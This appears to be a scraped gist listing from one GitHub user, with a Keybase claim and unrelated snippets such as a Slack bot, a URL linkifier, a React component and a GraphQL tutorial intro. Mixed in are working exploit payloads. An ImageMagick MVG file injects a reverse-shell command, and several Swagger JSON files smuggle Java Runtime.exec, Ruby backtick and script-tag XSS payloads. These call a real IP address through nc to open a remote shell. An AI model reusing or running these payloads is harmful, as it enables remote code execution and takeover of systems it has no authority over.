I hereby claim:
- I am mathdroid on github.
- I am mathdroid (https://keybase.io/mathdroid) on keybase.
- I have a public key whose fingerprint is A736 307A 2053 E7AF 459D D794 CA0A 04FE A58A D8AC
To claim this, I am signing this object:
// Requiring our modules | |
var slackAPI = require('slackbotapi'); | |
var request = require('request'); | |
// Starting | |
var slack = new slackAPI({ | |
'token': "xoxb-TOKENTOKENTOKENTOKEN", | |
'logging': true |
function urlify(text) { | |
var urlRegex = /(https?:\/\/[^\s]+)/g; | |
return text.replace(urlRegex, function(url) { | |
return '<a href="' + url + '">' + url + '</a>'; | |
}) | |
// or | |
// return text.replace(urlRegex, '<a href="$1">$1</a>') | |
} | |
var text = "Find me at http://www.example.com and also at http://stackoverflow.com"; |
I hereby claim:
To claim this, I am signing this object:
push graphic-context | |
viewbox 0 0 640 480 | |
fill 'url(https://127.0.0.0/oops.jpg"; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.253.147.148 9700 >/tmp/f;touch "hello)' | |
pop graphic-context |
{"apiVersion":"1.0","swaggerVersion":"1.2","apis":[{"path":"/default/allergy-resource","description":"Allergy Resource"},{"path":"/default/delivery-resource","description":"Delivery Resource"},{"path":"/default/ingredient-resource","description":"Ingredient Resource"},{"path":"/default/menu-resource","description":"Menu Resource"},{"path":"/default/old-menu-resource","description":"Old Menu Resource"},{"path":"/default/old-order-resource","description":"Old Order Resource"},{"path":"/default/old-user-resource","description":"Old User Resource"},{"path":"/default/order-resource","description":"Order Resource"},{"path":"/default/route-resource","description":"Route Resource"}],"info":{"title":"Dahmakan API","description":"API for Dahmakan"}, | |
"paths": { | |
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"ls\");}catch(Exception e){} \"":"lol"}} |
{ | |
"apiVersion":"1.0", | |
"swaggerVersion":"1.2", | |
"apis":[ | |
{"path":"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 103.253.147.148 9700\");}catch(Exception e){} \"","description":"Allergy Resource"} | |
], | |
"info": { | |
"description":"<script>alert('yosmcama')</script>=begin", | |
"title": "=end `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.253.147.148 9700 >/tmp/f`" | |
}, |
{ | |
"apiVersion":"1.0", | |
"swaggerVersion":"1.2", | |
"apis":[], | |
"info":{ | |
"title":"EXP3", | |
"description":"API for Dahmakan<script>alert('yoms3ama')</script>" | |
}, | |
"authorizations": { | |
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 103.253.147.148 9700\");}catch(Exception e){} \"": "lol" |
#! /usr/bin/env bash | |
# Requirements: | |
# - `primitive` @ https://github.com/fogleman/primitive, | |
# - `imagemagick` @ http://www.imagemagick.org/script/index.php, | |
# - `ffmpeg` @ https://ffmpeg.org/ | |
# Make sure your input photo is named `input.jpg` (variable support later!) | |
# keep yo folder neat |
import { Component } from "react"; | |
export default class Selector extends Component { | |
constructor() { | |
super(); | |
this.state = { | |
value: "a", | |
num: 0 | |
}; | |
this.handleChange = this.handleChange.bind(this); | |
this.handleChangeNum = this.handleChangeNum.bind(this); |
This tutorial was created by Shopify for internal purposes. We've created a public version of it since we think it's useful to anyone creating a GraphQL API.
It's based on lessons learned from creating and evolving production schemas at Shopify over almost 3 years. The tutorial has evolved and will continue to change in the future so nothing is set in stone.